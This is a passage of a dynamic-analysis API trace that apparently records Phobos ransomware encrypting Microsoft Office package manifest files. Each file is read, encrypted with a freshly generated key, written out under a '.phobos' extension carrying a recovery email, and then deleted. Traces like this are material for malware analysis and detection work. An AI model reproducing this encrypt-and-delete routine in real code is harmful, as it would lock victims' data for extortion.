DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1 [0053.521] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0053.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0053.521] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=343329) returned 1 [0053.521] CloseHandle (hObject=0x318) returned 1 [0053.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220 [0053.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0053.521] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0053.521] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0053.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0053.522] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ce30) returned 1 [0053.522] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0053.522] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x53d21, lpOverlapped=0x0) returned 1 [0053.544] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x53d30, dwBufLen=0x53d30 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x53d30) returned 1 [0053.545] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x53d30, lpOverlapped=0x0) returned 1 [0053.551] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cb70) returned 1 [0053.551] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0053.551] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0053.551] CryptDestroyKey (hKey=0x10cb70) returned 1 [0053.551] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0053.551] CryptDestroyKey (hKey=0x10ce30) returned 1 [0053.551] CloseHandle (hObject=0x318) returned 1 [0053.551] CloseHandle (hObject=0x2e4) returned 1 [0053.560] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1 [0053.564] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0053.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0053.566] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=357349) returned 1 [0053.566] CloseHandle (hObject=0x2e4) returned 1 [0053.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220 [0053.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0053.567] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0053.567] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0053.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0053.567] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cc30) returned 1 [0053.567] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0053.567] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x573e5, lpOverlapped=0x0) returned 1 [0053.596] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x573f0, dwBufLen=0x573f0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x573f0) returned 1 [0053.597] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x573f0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x573f0, lpOverlapped=0x0) returned 1 [0053.603] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cf70) returned 1 [0053.603] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0053.603] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0053.603] CryptDestroyKey (hKey=0x10cf70) returned 1 [0053.603] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0053.603] CryptDestroyKey (hKey=0x10cc30) returned 1 [0053.603] CloseHandle (hObject=0x2e4) returned 1 [0053.603] CloseHandle (hObject=0x318) returned 1 [0053.609] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1 [0053.612] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0053.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0053.616] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=65002) returned 1 [0053.616] CloseHandle (hObject=0x308) returned 1 [0053.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0053.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0053.617] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0053.617] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0053.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0053.620] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cdf0) returned 1 [0053.620] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0053.620] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xfdea, lpOverlapped=0x0) returned 1 [0053.915] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xfdf0, dwBufLen=0xfdf0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xfdf0) returned 1 [0053.915] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xfdf0, lpOverlapped=0x0) returned 1 [0053.917] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d170) returned 1 [0053.917] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0053.917] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0053.917] CryptDestroyKey (hKey=0x10d170) returned 1 [0053.917] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0053.917] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0053.917] CloseHandle (hObject=0x308) returned 1 [0053.917] CloseHandle (hObject=0x318) returned 1 [0053.919] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1 [0053.923] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0053.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0053.924] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=9216) returned 1 [0053.924] CloseHandle (hObject=0x308) returned 1 [0053.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220 [0053.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0053.925] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0053.925] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0053.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.926] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cbf0) returned 1 [0053.926] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0053.926] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x2400, lpOverlapped=0x0) returned 1 [0053.938] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2410, dwBufLen=0x2410 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2410) returned 1 [0053.938] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2410, lpOverlapped=0x0) returned 1 [0053.939] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cab0) returned 1 [0053.940] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0053.940] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0053.940] CryptDestroyKey (hKey=0x10cab0) returned 1 [0053.940] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0053.940] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0053.940] CloseHandle (hObject=0x308) returned 1 [0053.940] CloseHandle (hObject=0x31c) returned 1 [0053.941] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1 [0053.942] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0053.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.942] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1261) returned 1 [0053.942] CloseHandle (hObject=0x31c) returned 1 [0053.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0053.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.943] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0053.943] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0053.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0053.943] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cdf0) returned 1 [0053.943] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0053.943] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x4ed, lpOverlapped=0x0) returned 1 [0054.010] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4f0) returned 1 [0054.011] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x4f0, lpOverlapped=0x0) returned 1 [0054.011] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cab0) returned 1 [0054.011] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.011] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0054.011] CryptDestroyKey (hKey=0x10cab0) returned 1 [0054.011] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0054.012] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0054.012] CloseHandle (hObject=0x31c) returned 1 [0054.012] CloseHandle (hObject=0x308) returned 1 [0054.013] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1 [0054.014] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0054.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.014] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1450) returned 1 [0054.014] CloseHandle (hObject=0x308) returned 1 [0054.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 